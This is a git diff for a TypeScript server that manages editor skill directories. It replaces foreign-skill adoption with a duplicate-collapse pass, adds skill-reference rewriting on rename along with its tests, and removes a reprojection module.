- * `<name>-<editor>` skills. Byte-equality (`dirsEqual`) is the fast path; this is
- * the identity-aware fallback before declaring a true collision.
+ * `<name>-<editor>` skills. Identity-aware: byte-identical files pass trivially,
+ * and only SKILL.md may differ (modulo frontmatter) before declaring a collision.
*/
function sameSkillModuloFrontmatter(a: string, b: string): boolean {
const listA = listFiles(a);
@@ -248,21 +208,6 @@ function listFiles(dir: string, prefix = ''): string[] {
return out.sort();
}
-/** Move a directory, falling back to copy+remove when rename crosses devices. */
-function moveDir(from: string, to: string): void {
- tracedMkdirSync(dirname(to), { recursive: true });
- try {
- tracedRenameSync(from, to);
- } catch (err: unknown) {
- // ONLY fall back to copy+remove on a cross-device rename. A bare catch would
- // copy+delete on EACCES/ENOSPC/ENOENT too — a partial copy followed by a
- // successful delete destroys the user's source.
- if (!(err instanceof Error) || (err as NodeJS.ErrnoException).code !== 'EXDEV') throw err;
- tracedCpSync(from, to, { recursive: true });
- tracedRmSync(from, { recursive: true, force: true });
- }
-}
-
/** Place a symlink at `linkPath` pointing to the in-project `sourceDir`. */
function linkInto(hostRoot: string, linkPath: string, sourceDir: string): void {
tracedRmSync(linkPath, { recursive: true, force: true });
@@ -307,66 +252,81 @@ function isForeignSymlink(linkPath: string, skillsRoot: string): boolean {
}
}
+/** Editor-suffix tokens a collision suffix-adopt appends (`<name>-<editor>`, or `-agents` for the generic dir). */
+const SUFFIX_TOKENS: readonly string[] = [...PROJECT_SKILL_EDITOR_IDS, 'agents'];
+
+/** If `name` ends in a known `-<editor>` collision suffix, return the base name; else null. */
+function suffixBase(name: string): string | null {
+ for (const token of SUFFIX_TOKENS) {
+ const suffix = `-${token}`;
+ if (name.length > suffix.length && name.endsWith(suffix)) return name.slice(0, -suffix.length);
+ }
+ return null;
+}
+
/**
- * Count the distinct editor-dir skills that an import would ADOPT — real-dir
- * skills (valid name, not OK's shipped bundle) that are NOT already a managed /
- * redundant copy of an existing `.ok/skills/<name>`. These are exactly the
- * entries the gated adopt + collision branches act on when the project is
- * OK-managed; with management off they are left untouched. Deduped by name
- * across detection roots (a skill mirrored into both `.agents` and `.codex`
- * counts once) so the count reads as "N skills you could import", not N copies.
- * Drives the import-prompt affordance — non-mutating.
+ * One-shot, idempotent collapse of accreted `<name>-<editor>` suffix duplicates
+ * in `.ok/skills`. The collision suffix-adopt path (above) spawned these when a
+ * version-skewed harness copy was misread as a distinct skill; the
+ * `sameSkillModuloFrontmatter` identity gate now prevents NEW ones, but the
+ * already-on-disk dupes never get collapsed. For each `.ok/skills/<name>-<token>`
+ * whose base `.ok/skills/<name>` exists AND is identity-equal, re-point any
+ * harness symlink from the suffixed source to the base, then remove the suffixed
+ * source. Never touches a base, and never a genuinely-different suffixed skill —
+ * the reconcile never-delete invariant. Idempotent: once the suffixed dir is
+ * gone, subsequent runs find nothing to collapse.
+ *
+ * CRDT-safety caveat: `.ok/skills/<name>/SKILL` is CRDT content (skills-as-
+ * content), and this pass holds no handle to the live document manager, so it
+ * cannot prove a suffixed dir isn't backing a loaded Y.Doc. It is scoped to the
+ * dormant DUPLICATE artifact (never the base a user edits) and only when
+ * byte/identity-equal, which makes a desync improbable; the residual risk (a
+ * client editing the suffixed dupe during a runtime opt-in reconcile) is
+ * accepted and logged, pending a future live-doc guard.
*/
-export function countImportableEditorSkills(opts: {
- projectDir: string;
- skillsRoot: string;
-}): number {
+function collapseAccretedSuffixDupes(opts: { projectDir: string; skillsRoot: string }): void {
const { projectDir, skillsRoot } = opts;
- const importable = new Set<string>();
- for (const { rel } of detectionRoots()) {
- const hostRoot = resolve(projectDir, rel);
- if (!existsSync(hostRoot) || hostSkillsRootEscapes(projectDir, hostRoot)) continue;
- let entries: string[];
+ if (!existsSync(skillsRoot)) return;
+ let entries: string[];
+ try {
+ entries = readdirSync(skillsRoot);
+ } catch {
+ return;
+ }
+ const roots = detectionRoots();
+ for (const suffixed of entries) {
+ const base = suffixBase(suffixed);
+ if (base === null) continue;
+ const suffixedDir = resolve(skillsRoot, suffixed);
+ const baseDir = resolve(skillsRoot, base);
+ if (!existsSync(baseDir)) continue;
try {
- entries = readdirSync(hostRoot);
- } catch (err) {
- // A host root we can see but not read (EACCES/corruption) is skipped —
- // log it so a permissions issue doesn't silently masquerade as "nothing
- // to reconcile" (no heal/adopt/orphan-removal, no evidence why).
- logger.warn({ hostRoot, err }, 'reconcile: skipped unreadable host skills root');
- continue;
- }
- for (const name of entries) {
- if (SHIPPED_BUNDLE_NAMES.has(name) || !SKILL_NAME_REGEX.test(name)) continue;
- const entryPath = join(hostRoot, name);
- let stat: ReturnType<typeof lstatSync>;
- try {
- stat = lstatSync(entryPath);
- } catch {
- continue;
- }
- // Only real dirs are import candidates — symlinks are either managed,
- // foreign (left untouched), or orphans handled by reconcile; never adopted.
+ const stat = lstatSync(suffixedDir);
+ // Only a real source dir is a collapse candidate (a symlink is not an
+ // accreted `.ok/skills` source). SKILL.md must be present on both sides.
if (stat.isSymbolicLink() || !stat.isDirectory()) continue;
- const sourceDir = resolve(skillsRoot, name);
- if (
- existsSync(sourceDir) &&
- (dirsEqual(entryPath, sourceDir) || sameSkillModuloFrontmatter(entryPath, sourceDir))
- ) {
- // Redundant copy of an already-managed `.ok` skill — collapses to a
- // symlink regardless of the gate, so it is not "importable".
+ if (!existsSync(join(suffixedDir, 'SKILL.md')) || !existsSync(join(baseDir, 'SKILL.md'))) {
continue;
}
- importable.add(name);
+ if (!sameSkillModuloFrontmatter(baseDir, suffixedDir)) continue;
+ for (const { rel } of roots) {
+ const hostRoot = resolve(projectDir, rel);
+ if (hostSkillsRootEscapes(projectDir, hostRoot)) continue;
+ const linkPath = join(hostRoot, suffixed);
+ if (pointsAtSource(linkPath, suffixedDir)) linkInto(hostRoot, linkPath, baseDir);
+ }
+ tracedRmSync(suffixedDir, { recursive: true, force: true });
+ logger.info({ base, suffixed }, 'collapsed accreted suffix-duplicate skill into its base');
+ } catch (err) {
+ logger.warn({ err, base, suffixed }, 'suffix-dupe collapse skipped one entry after error');
}
}
- return importable.size;
}
/**
* Reconcile every editor skill dir under `projectDir` against the `.ok/skills`
* source tree. Best-effort + isolated: one entry's failure is logged and
- * skipped, never aborting the pass. Marker host sets are refreshed for adopts /
+ * skipped, never aborting the pass. Marker host sets are refreshed for
* redundant-copy replacements so the Skills list badges them Installed.
*/
export async function reconcileSkillInstalls(opts: {
@@ -377,17 +337,10 @@ export async function reconcileSkillInstalls(opts: {
const { projectDir, skillsRoot } = opts;
const result: ReconcileResult = {
healed: [],
- adopted: [],
replaced: [],
- collided: [],
orphansRemoved: [],
skipped: [],
};
- // Project-level gate: may OK ADOPT non-`.ok` editor skills here? Default off.
- // Read once per pass (env + the per-machine marker). Managing skills that
- // already have a `.ok/skills` entry — heal / orphan / redundant-collapse — is
- // independent of this and always runs.
- const managed = isProjectSkillManaged(projectDir);
// Marker host additions to apply after the FS pass (name → set of editor ids).
const markerAdds = new Map<string, Set<EditorId>>();
const addMarkerHost = (name: string, editor: EditorId | null) => {
@@ -438,11 +391,10 @@ export async function reconcileSkillInstalls(opts: {
}
if (!stat.isDirectory()) continue; // ignore stray files
- // Only adopt foreign real-dir copies whose name is a valid skill id.
- // A host-dir entry like `My Skill/` or `notes.bak/` is not a skill and
- // must not be projected into `.ok/skills/` (where the name becomes the
- // skill identity). The symlink heal/orphan paths above stay name-agnostic
- // — managed links always already carry a valid name.
+ // Only manage real-dir copies whose name is a valid skill id. A host-dir
+ // entry like `My Skill/` or `notes.bak/` is not a skill. The symlink
+ // heal/orphan paths above stay name-agnostic — managed links always
+ // already carry a valid name.
if (!SKILL_NAME_REGEX.test(name)) {
logger.warn(
{ skill: name, editor },
@@ -451,70 +403,31 @@ export async function reconcileSkillInstalls(opts: {
continue;
}
- // ALWAYS-ON: a real-dir copy of an EXISTING `.ok` skill (byte-identical, or
- // the same skill differing only in SKILL.md frontmatter serialization /
- // additive fields per `sameSkillModuloFrontmatter` — the cross-harness sync
- // reformats / field-extends host copies across runs) → collapse to a
- // symlink. This manages a skill OK already owns (it has a `.ok/skills`
- // entry), so it runs regardless of the project-managed gate. linkInto
- // removes entryPath internally before linking.
- if (
- sourceExists &&
- (dirsEqual(entryPath, sourceDir) || sameSkillModuloFrontmatter(entryPath, sourceDir))
- ) {
+ // A real-dir copy of an EXISTING `.ok` skill (byte-identical, or the
+ // same skill differing only in SKILL.md frontmatter serialization /
+ // additive fields per `sameSkillModuloFrontmatter` — the cross-harness
+ // sync reformats / field-extends host copies across runs) → collapse to
+ // a symlink. This manages a skill OK already owns (it has a `.ok/skills`
+ // entry). linkInto removes entryPath internally before linking.
+ if (sourceExists && sameSkillModuloFrontmatter(entryPath, sourceDir)) {
linkInto(hostRoot, entryPath, sourceDir);
result.replaced.push({ name, editor });
addMarkerHost(name, editor);
continue;
}
- // Beyond here we would IMPORT a non-`.ok` skill — either adopt a foreign
- // real-dir with no source, or suffix-adopt a colliding different skill.
- // Both are gated on the project being OK-managed (`manageEditorSkills`).
- // Default off: leave the foreign editor skill UNTOUCHED — OK does not own
- // skills the user never asked it to manage. Membership in `.ok/skills` is
- // the ownership boundary; an explicit import opt-in flips this on.
- if (!managed) {
- result.skipped.push({ name, editor });
- continue;
- }
-
- if (!sourceExists) {
- // Foreign / legacy copy: adopt into `.ok/skills`, then symlink.
- moveDir(entryPath, sourceDir);
- linkInto(hostRoot, entryPath, sourceDir);
- result.adopted.push({ name, editor });
- addMarkerHost(name, editor);
- } else {
- // Collision: a genuinely different skill shares the name (body differs,
- // or a shared frontmatter field carries a conflicting value). Suffix-adopt
- // the foreign copy (never delete — recoverable), link it under the
- // suffixed name, and leave the OK-managed `<name>` for an explicit
- // install rather than silently re-pointing it here.
- const suffixed = `${name}-${editor ?? 'agents'}`;
- const suffixedSource = resolve(skillsRoot, suffixed);
- if (existsSync(suffixedSource)) {
- // The suffixed slot is already taken by another foreign copy. NEVER
- // delete the user's content (the invariant above) — skip and let them
- // resolve manually rather than destroying it.
- logger.warn(
- { skill: name, editor, suffixed },
- 'collision: suffixed slot already occupied — skipping (manual resolution needed)',
- );
- continue;
- }
- moveDir(entryPath, suffixedSource);
- linkInto(hostRoot, join(hostRoot, suffixed), suffixedSource);
- result.collided.push({ name, editor });
- addMarkerHost(suffixed, editor);
- }
+ // Anything else is an IN-PLACE skill (no `.ok/skills` source, or a
+ // genuinely different skill sharing a source's name). It is
+ // versioned where it lives via the in-place registry — reconcile NEVER
+ // moves, rewrites, or symlinks it.
+ result.skipped.push({ name, editor });
} catch (err) {
logger.warn({ err, skill: name, editor }, 'reconcile skipped one skill entry after error');
}
}
}
- // Refresh the marker for newly adopted / replaced skills so the list badges
+ // Refresh the marker for newly replaced skills so the list badges
// them Installed. Truth is detection; this keeps the cache consistent.
if (markerAdds.size > 0) {
const marker = readInstalledSkills(projectDir);
@@ -536,5 +449,14 @@ export async function reconcileSkillInstalls(opts: {
}
}
+ // Hygiene: collapse any accreted `<name>-<editor>` suffix duplicates now that
+ // links are settled (runs after the main pass so it re-points, rather than
+ // racing, the just-healed links). Guarded + idempotent; never deletes a base.
+ try {
+ collapseAccretedSuffixDupes({ projectDir, skillsRoot });
+ } catch (err) {
+ logger.warn({ err }, 'suffix-dupe collapse pass failed (non-fatal)');
+ }
+
return result;
}
diff --git a/packages/server/src/skill-ref-rename.test.ts b/packages/server/src/skill-ref-rename.test.ts
new file mode 100644
index 000000000..3a77b4c10
--- /dev/null
+++ b/packages/server/src/skill-ref-rename.test.ts
@@ -0,0 +1,124 @@
+import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join, resolve } from 'node:path';
+import { afterEach, beforeEach, describe, expect, test } from 'vitest';
+import { rewriteSkillRefsAcrossScope } from './skill-ref-rename.ts';
+
+let contentDir: string;
+
+const writeSkill = (name: string, body: string, refs: Record<string, string> = {}): void => {
+ const dir = resolve(contentDir, '.claude', 'skills', name);
+ mkdirSync(dir, { recursive: true });
+ writeFileSync(resolve(dir, 'SKILL.md'), `---\nname: ${name}\n---\n\n${body}`);
+ for (const [rel, text] of Object.entries(refs)) {
+ const abs = resolve(dir, 'references', rel);
+ mkdirSync(join(abs, '..'), { recursive: true });
+ writeFileSync(abs, text);
+ }
+};
+
+const read = (name: string, rel = 'SKILL.md'): string =>
+ readFileSync(resolve(contentDir, '.claude', 'skills', name, rel), 'utf-8');
+
+beforeEach(() => {
+ contentDir = mkdtempSync(join(tmpdir(), 'ok-skill-ref-rename-'));
+});
+afterEach(() => {
+ rmSync(contentDir, { recursive: true, force: true });
+});
+
+describe('rewriteSkillRefsAcrossScope', () => {
+ test('carries inbound refs from other skills, in prose and inline code', () => {
+ writeSkill('grilling', 'Start with /grill-me, then `/grill-me` again.\n');
+ writeSkill('plating', 'Unrelated: /grill-me-later stays.\n');
+ writeSkill('grill-me', 'I am the one being renamed.\n');
+
+ const out = rewriteSkillRefsAcrossScope({
+ base: contentDir,
+ scope: 'project',
+ fromName: 'grill-me',
+ toName: 'searing',
+ });
+
+ expect(read('grilling')).toContain('Start with /searing, then `/searing` again.');
+ // A longer slug that merely starts with the old name is a different skill.
+ expect(read('plating')).toContain('/grill-me-later');
+ expect(out.map((r) => r.rel)).toEqual(['SKILL.md']);
+ expect(out[0]?.dir).toBe('.claude/skills/grilling');
+ });
+
+ test('reaches references/**.md, nested', () => {
+ writeSkill('grilling', 'No ref here.\n', {
+ 'deep/notes.md': 'See /grill-me for the sear.\n',
+ });
+ writeSkill('grill-me', 'body\n');
+
+ const out = rewriteSkillRefsAcrossScope({
+ base: contentDir,
+ scope: 'project',
+ fromName: 'grill-me',
+ toName: 'searing',
+ });
+
+ expect(read('grilling', 'references/deep/notes.md')).toBe('See /searing for the sear.\n');
+ expect(out.map((r) => r.rel)).toEqual(['references/deep/notes.md']);
+ });
+
+ test('touches nothing when no body references the old name', () => {
+ writeSkill('grilling', 'Nothing to see.\n');
+ const before = read('grilling');
+
+ expect(
+ rewriteSkillRefsAcrossScope({
+ base: contentDir,
+ scope: 'project',
+ fromName: 'grill-me',
+ toName: 'searing',
+ }),
+ ).toEqual([]);
+ expect(read('grilling')).toBe(before);
+ });
+
+ // The global branch routes through a DIFFERENT scanner (scanGlobalInPlaceSkills)
+ // with different root resolution. Without this, a regression there would leave
+ // every inbound ref stale on a global rename with no test signal.
+ test('carries refs at global scope too, through the other scanner', () => {
+ const home = mkdtempSync(join(tmpdir(), 'ok-skill-ref-rename-home-'));
+ try {
+ const mk = (name: string, body: string) => {
+ const dir = resolve(home, '.claude', 'skills', name);
+ mkdirSync(dir, { recursive: true });
+ writeFileSync(resolve(dir, 'SKILL.md'), `---\nname: ${name}\n---\n\n${body}`);
+ };
+ mk('grilling', 'Start with /grill-me.\n');
+ mk('grill-me', 'I am being renamed.\n');
+
+ const out = rewriteSkillRefsAcrossScope({
+ base: home,
+ scope: 'global',
+ fromName: 'grill-me',
+ toName: 'searing',
+ });
+
+ expect(out.map((r) => r.dir)).toEqual(['.claude/skills/grilling']);
+ expect(
+ readFileSync(resolve(home, '.claude', 'skills', 'grilling', 'SKILL.md'), 'utf-8'),
+ ).toContain('Start with /searing.');
+ } finally {
+ rmSync(home, { recursive: true, force: true });
+ }
+ });
+
+ test('a no-op rename writes nothing', () => {
+ writeSkill('grilling', 'Load /grill-me.\n');
+ expect(
+ rewriteSkillRefsAcrossScope({
+ base: contentDir,
+ scope: 'project',
+ fromName: 'grill-me',
+ toName: 'grill-me',
+ }),
+ ).toEqual([]);
+ expect(read('grilling')).toContain('/grill-me');
+ });
+});
diff --git a/packages/server/src/skill-ref-rename.ts b/packages/server/src/skill-ref-rename.ts
new file mode 100644
index 000000000..a0e4cad55
--- /dev/null
+++ b/packages/server/src/skill-ref-rename.ts
@@ -0,0 +1,114 @@
+/**
+ * Carry `/skill-name` references across a skill rename.
+ *
+ * A document rename rewrites its inbound links: the spine queries the backlink
+ * index for every doc pointing at the target and mutates those bodies on disk.
+ * A skill rename used to do none of that, and the asymmetry was invisible
+ * rather than merely inconsistent — skill refs are resolved by NAME at read
+ * time, so a renamed skill's inbound edges just stopped existing. The
+ * referencing body still said `/oldname`, nothing answered to it, and
+ * dead-link detection never noticed (computed edges never enter the backward
+ * map, which is what `getDeadLinks` walks). Worse, a later skill claiming the
+ * freed name silently inherited every stale ref.
+ *
+ * The sweep is a disk pass rather than an index query on purpose: global skills
+ * are not content docs, so half the corpus is invisible to the link index, and
+ * the population is tens of bundles.
+ */
+import { type Dirent, existsSync, readdirSync, readFileSync } from 'node:fs';
+import { resolve } from 'node:path';
+import { rewriteSkillRefs } from '@inkeep/open-knowledge-core';
+import { tracedWriteFileSync } from './fs-traced.ts';
+import {
+ type InPlaceSkill,
+ scanGlobalInPlaceSkills,
+ scanInPlaceSkills,
+} from './in-place-skills.ts';
+import { getLogger } from './logger.ts';
+
+/** One rewritten markdown file, for the caller to re-index. */
+export interface SkillRefRewrite {
+ /** Base-relative bundle dir, e.g. `.claude/skills/grilling`. */
+ readonly dir: string;
+ /** Bundle-relative file: `SKILL.md`, or `references/<path>.md`. */
+ readonly rel: string;
+ readonly absPath: string;
+ readonly markdown: string;
+}
+
+/** Markdown files in a bundle that can carry refs: SKILL.md + references/**.md. */
+function bundleMarkdownFiles(bundleDir: string): string[] {
+ const out: string[] = [];
+ if (existsSync(resolve(bundleDir, 'SKILL.md'))) out.push('SKILL.md');
+ const refsDir = resolve(bundleDir, 'references');
+ if (!existsSync(refsDir)) return out;
+ const walk = (dir: string, prefix: string): void => {
+ let entries: Dirent[];
+ try {
+ entries = readdirSync(dir, { withFileTypes: true });
+ } catch {
+ return;
+ }
+ for (const entry of entries) {
+ const rel = prefix ? `${prefix}/${entry.name}` : entry.name;
+ if (entry.isDirectory()) walk(resolve(dir, entry.name), rel);
+ else if (entry.isFile() && entry.name.toLowerCase().endsWith('.md')) {
+ out.push(`references/${rel}`);
+ }
+ }
+ };
+ walk(refsDir, '');
+ return out;
+}
+
+/**
+ * Rewrite `/fromName` → `/toName` in every same-scope skill bundle under `base`.
+ *
+ * Same-scope only, matching how the refs resolve: a project ref never binds to a
+ * global bundle. Unreadable or unwritable files are skipped and logged rather
+ * than thrown — the rename itself already succeeded on disk, and failing the
+ * request here would leave the user with a half-applied move.
+ */
+export function rewriteSkillRefsAcrossScope(opts: {
+ base: string;
+ scope: 'project' | 'global';
+ fromName: string;
+ toName: string;
+}): SkillRefRewrite[] {
+ const { base, scope, fromName, toName } = opts;
+ if (fromName === toName) return [];
+ const log = getLogger('skill-ref-rename');
+
+ let skills: InPlaceSkill[];
+ try {
+ skills = scope === 'project' ? scanInPlaceSkills(base) : scanGlobalInPlaceSkills(base);
+ } catch (err) {
+ log.warn({ err, scope }, 'skill scan failed; refs to the old name are left as authored');
+ return [];
+ }
+
+ const rewritten: SkillRefRewrite[] = [];
+ for (const skill of skills) {
+ const bundleDir = resolve(base, skill.dir);
+ for (const rel of bundleMarkdownFiles(bundleDir)) {
+ const absPath = resolve(bundleDir, rel);
+ let before: string;
+ try {
+ before = readFileSync(absPath, 'utf-8');
+ } catch (err) {
+ log.warn({ err, absPath }, 'unreadable skill markdown; skipped');
+ continue;
+ }
+ const after = rewriteSkillRefs(before, fromName, toName);
+ if (after === before) continue;
+ try {
+ tracedWriteFileSync(absPath, after, 'utf-8');
+ } catch (err) {
+ log.warn({ err, absPath }, 'skill ref rewrite could not be written; skipped');
+ continue;
+ }
+ rewritten.push({ dir: skill.dir, rel, absPath, markdown: after });
+ }
+ }
+ return rewritten;
+}
diff --git a/packages/server/src/skill-reproject.test.ts b/packages/server/src/skill-reproject.test.ts
deleted file mode 100644
index 22d77b01a..000000000
--- a/packages/server/src/skill-reproject.test.ts
+++ /dev/null
@@ -1,126 +0,0 @@
-import { existsSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';
-import { tmpdir } from 'node:os';
-import { join } from 'node:path';
-import { afterEach, beforeEach, describe, expect, test } from 'vitest';
-import { readInstalledSkills, recordSkillInstall } from './installed-skills-marker.ts';
-import { projectSkill } from './skill-projection.ts';
-import { reprojectAllManagedSkills } from './skill-reproject.ts';
-
-let root: string;
-let skillsRoot: string;
-
-/** Author a managed source skill under `.ok/skills/<name>`, frontmatter name = folder. */
-function makeSource(name: string, frontmatterName = name): string {
- const dir = join(skillsRoot, name);
- mkdirSync(dir, { recursive: true });
- writeFileSync(
- join(dir, 'SKILL.md'),
- `---\nname: ${frontmatterName}\ndescription: Use when testing.\n---\n# Steps`,
- );
- return dir;
-}
-
-/** Install a project-scope skill's marker entry + symlink projections. */
-async function install(name: string, hosts: ReadonlyArray<'claude' | 'cursor' | 'codex'>) {
- projectSkill(join(skillsRoot, name), name, root, hosts);
- await recordSkillInstall(root, name, {
- hosts: [...hosts],
- scope: 'project',
- scripts: false,
- installedAt: new Date('2026-06-25T00:00:00.000Z').toISOString(),
- });
-}
-
-const projected = (editorRel: string, name: string): boolean =>
- existsSync(join(root, editorRel, name, 'SKILL.md'));
-
-beforeEach(() => {
- root = mkdtempSync(join(tmpdir(), 'ok-reproject-'));
- skillsRoot = join(root, '.ok', 'skills');
- mkdirSync(skillsRoot, { recursive: true });
-});
-afterEach(() => {
- rmSync(root, { recursive: true, force: true });
-});
-
-describe('reprojectAllManagedSkills', () => {
- test('drops only the no-longer-targeted hosts for a valid source', async () => {
- makeSource('alpha');
- await install('alpha', ['claude', 'cursor']);
- expect(projected('.claude/skills', 'alpha')).toBe(true);
- expect(projected('.cursor/skills', 'alpha')).toBe(true);
-
- const r = await reprojectAllManagedSkills({
- projectDir: root,
- skillsRoot,
- targets: ['claude'],
- });
-
- expect(r.reprojected).toContainEqual({ name: 'alpha', hosts: ['claude'] });
- expect(projected('.claude/skills', 'alpha')).toBe(true);
- expect(projected('.cursor/skills', 'alpha')).toBe(false);
- expect(readInstalledSkills(root).skills.alpha?.hosts).toEqual(['claude']);
- });
-
- test('source-gone skill reverses from ALL recorded hosts, even a still-targeted one', async () => {
- makeSource('beta');
- await install('beta', ['claude']);
- expect(projected('.claude/skills', 'beta')).toBe(true);
- // Source disappears after install (native delete of `.ok/skills/beta`).
- rmSync(join(skillsRoot, 'beta'), { recursive: true, force: true });
-
- // `claude` is STILL in targets, yet the projection must be torn down because
- // the source is gone — otherwise the link lingers while the marker reads [].
- const r = await reprojectAllManagedSkills({
- projectDir: root,
- skillsRoot,
- targets: ['claude'],
- });
-
- expect(r.reprojected).toContainEqual({ name: 'beta', hosts: [] });
- expect(projected('.claude/skills', 'beta')).toBe(false);
- expect(readInstalledSkills(root).skills.beta?.hosts).toEqual([]);
- });
-
- test('per-skill isolation: an invalid source does not abort the valid one', async () => {
- makeSource('valid-one');
- await install('valid-one', ['claude']);
- // Invalid: frontmatter.name ≠ folder name (the bypass guard rejects it).
- makeSource('mismatch', 'totally-different');
- await install('mismatch', ['claude', 'cursor']);
-
- const r = await reprojectAllManagedSkills({
- projectDir: root,
- skillsRoot,
- targets: ['claude', 'cursor'],
- });
-
- // Valid skill projected to the full target set.
- expect(r.reprojected).toContainEqual({ name: 'valid-one', hosts: ['claude', 'cursor'] });
- expect(projected('.claude/skills', 'valid-one')).toBe(true);
- expect(projected('.cursor/skills', 'valid-one')).toBe(true);
- // Invalid skill left un-projected (zero hosts), reversed from all recorded.
- expect(r.reprojected).toContainEqual({ name: 'mismatch', hosts: [] });
- expect(projected('.claude/skills', 'mismatch')).toBe(false);
- expect(projected('.cursor/skills', 'mismatch')).toBe(false);
- expect(readInstalledSkills(root).skills.mismatch?.hosts).toEqual([]);
- });
-
- test('global-scope marker entries are skipped (store not wired)', async () => {
- makeSource('personal-skill');
- await recordSkillInstall(root, 'personal-skill', {
- hosts: ['claude'],
- scope: 'global',
- scripts: false,
- installedAt: new Date('2026-06-25T00:00:00.000Z').toISOString(),
- });
-
- const r = await reprojectAllManagedSkills({
- projectDir: root,
- skillsRoot,
- targets: ['claude'],
- });
-
- expect(r.reprojected.find((s) => s.name === 'personal-skill')).toBeUndefined();
- });
-});
diff --git a/packages/server/src/skill-reproject.ts b/packages/server/src/skill-reproject.ts
deleted file mode 100644
index 2cb4304d5..000000000
--- a/packages/server/src/skill-reproject.ts
+++ /dev/null
@@ -1,107 +0,0 @@
-/**
- * Re-projection orchestrator: bring every managed skill into line with a target
- * editor set. Shared by the change-targets action (`PUT /api/skill-targets`)
- * and reclaim — both need the same "project authored skills + OK's shipped
- * bundle to `targets`, reverse-project from dropped editors, keep the
- * marker's host set in sync" pass, so it lives in one place.
- */
-
-import { existsSync } from 'node:fs';
-import { resolve } from 'node:path';
-import { type EditorId, PROJECT_SKILL_EDITOR_IDS } from '@inkeep/open-knowledge-core';
-import { readInstalledSkills, recordSkillInstall } from './installed-skills-marker.ts';
-import { getLogger } from './logger.ts';
-import {
- projectBundleSkill,
- projectSkill,
- resolvedHosts,
- reverseBundleSkill,
- reverseProjectSkill,
- validateSkillForInstall,
-} from './skill-projection.ts';
-
-const logger = getLogger('skill-reproject');
-
-/** Editor ids that have a project skill surface (valid projection targets).
- * Reuses core's derived list so a new skill-surface editor is picked up here
- * automatically (don't hand-maintain a parallel set). */
-const SKILL_SURFACE_EDITORS: readonly EditorId[] = PROJECT_SKILL_EDITOR_IDS;
-
-export interface ReprojectResult {
- /** Per authored skill: the editor ids it now lives in after re-projection. */
- reprojected: Array<{ name: string; hosts: string[] }>;
- /** Editor ids OK's shipped `open-knowledge` bundle now lives in. */
- bundleHosts: EditorId[];
-}
-
-/**
- * Re-project every authored skill in the marker AND OK's shipped bundle to
- * `targets`. Each skill is reverse-projected from the editors it's no longer
- * targeted at, then projected to `targets` (only if its source still exists +
- * validates — a source-gone skill drops to zero hosts rather than re-creating
- * a stale projection). The marker's per-skill host set is updated to match.
- *
- * Global-scope marker entries are skipped (the global store isn't wired).
- */
-export async function reprojectAllManagedSkills(opts: {
- projectDir: string;
- /** Absolute `.ok/skills` dir for authored (project-scope) skill sources. */
- skillsRoot: string;
- targets: readonly EditorId[];
-}): Promise<ReprojectResult> {
- const { projectDir, skillsRoot, targets } = opts;
- const newSet = new Set<string>(targets);
- const marker = readInstalledSkills(projectDir);
- const reprojected: Array<{ name: string; hosts: string[] }> = [];
-
- for (const [name, entry] of Object.entries(marker.skills)) {
- if (entry.scope !== 'project') continue;
- const recordedHosts = resolvedHosts(entry.hosts);
- try {
- const skillDir = resolve(skillsRoot, name);
- const sourceMissing = !existsSync(skillDir);
- const validity = sourceMissing ? null : validateSkillForInstall(skillDir, name);
- if (sourceMissing || !validity?.ok) {
- // Source present but INVALID (most often a native-authored SKILL.md
- // whose frontmatter.name ≠ the folder): surface
- // WHY rather than silently un-projecting it, so the user can fix the
- // skill instead of wondering where it went. Don't auto-rename — mutating
- // a user's SKILL.md is riskier than a loud warning.
- if (!sourceMissing && validity && !validity.ok) {
- logger.warn(
- { skill: name, errors: validity.errors },
- 'managed skill failed validation — left un-projected; fix SKILL.md (e.g. frontmatter.name must equal the folder name)',
- );
- }
- // Source gone/invalid: reverse-project from EVERY recorded host, not
- // just the no-longer-targeted ones — otherwise the still-targeted
- // projections linger on disk while the marker claims zero hosts.
- reverseProjectSkill(name, projectDir, recordedHosts);
- await recordSkillInstall(projectDir, name, { ...entry, hosts: [] });
- reprojected.push({ name, hosts: [] });
- continue;
- }
-
- // Source present: drop the no-longer-targeted hosts, then project the
- // source into the new target set.
- const removed = recordedHosts.filter((h) => !newSet.has(h));
- if (removed.length > 0) reverseProjectSkill(name, projectDir, removed);
- const hosts = projectSkill(skillDir, name, projectDir, targets);
- await recordSkillInstall(projectDir, name, { ...entry, hosts });
- reprojected.push({ name, hosts });
- } catch (err) {
- // Per-skill isolation: one skill's projection failure must not abort
- // re-projection of the rest (the targets write already committed, so a
- // throw here would leave the remaining skills un-reprojected).
- logger.warn({ err, skill: name }, 'reproject skipped one skill after error');
- }
- }
-
- // OK's shipped bundle follows the same set: reverse from every skill-surface
- // editor no longer targeted, then project to the new set.
- const bundleRemoved = SKILL_SURFACE_EDITORS.filter((e) => !newSet.has(e));
- reverseBundleSkill(projectDir, bundleRemoved);
- const bundleHosts = projectBundleSkill(projectDir, targets);
-
- return { reprojected, bundleHosts };
-}
diff --git a/packages/server/src/skill-restore.ts b/packages/server/src/skill-restore.ts
index ccedb7654..4004d276e 100644
--- a/packages/server/src/skill-restore.ts
+++ b/packages/server/src/skill-restore.ts
@@ -21,9 +21,9 @@ import { listNames } from './git-paths.ts';
import { type ShadowHandle, shadowGit } from './shadow-repo.ts';
/** Shadow-repo path of a project-scope skill's source dir for a content root. */
-function skillShadowPath(contentRoot: string, name: string): string {
+function skillShadowPath(contentRoot: string, skillDirRel: string): string {
const root = contentRoot === '.' ? '' : contentRoot.replace(/^\.\//, '');
- return root ? `${root}/.ok/skills/${name}` : `.ok/skills/${name}`;
+ return root ? `${root}/${skillDirRel}` : skillDirRel;
}
/**
@@ -57,10 +57,12 @@ export function isGitObjectNotFound(message: string): boolean {
}
/**
- * Restore `.ok/skills/<name>/` to its state at shadow-repo commit `version`.
- * Reads the tree at that SHA and rewrites it into the content dir, clearing the
- * current dir first (authoritative). Returns the restored file list (skill-dir
- * relative) or a structured error.
+ * Restore a project skill's bundle dir to its state at shadow-repo commit
+ * `version`. Defaults to the `.ok/skills/<name>` store; an IN-PLACE skill
+ * passes its real bundle dir via `skillDirRel`. Reads the tree
+ * at that SHA and rewrites it into the content dir, clearing the current dir
+ * first (authoritative). Returns the restored file list (skill-dir relative)
+ * or a structured error.
*/
export async function restoreSkillVersion(opts: {
shadow: ShadowHandle;
@@ -68,17 +70,41 @@ export async function restoreSkillVersion(opts: {
contentRoot: string;
name: string;
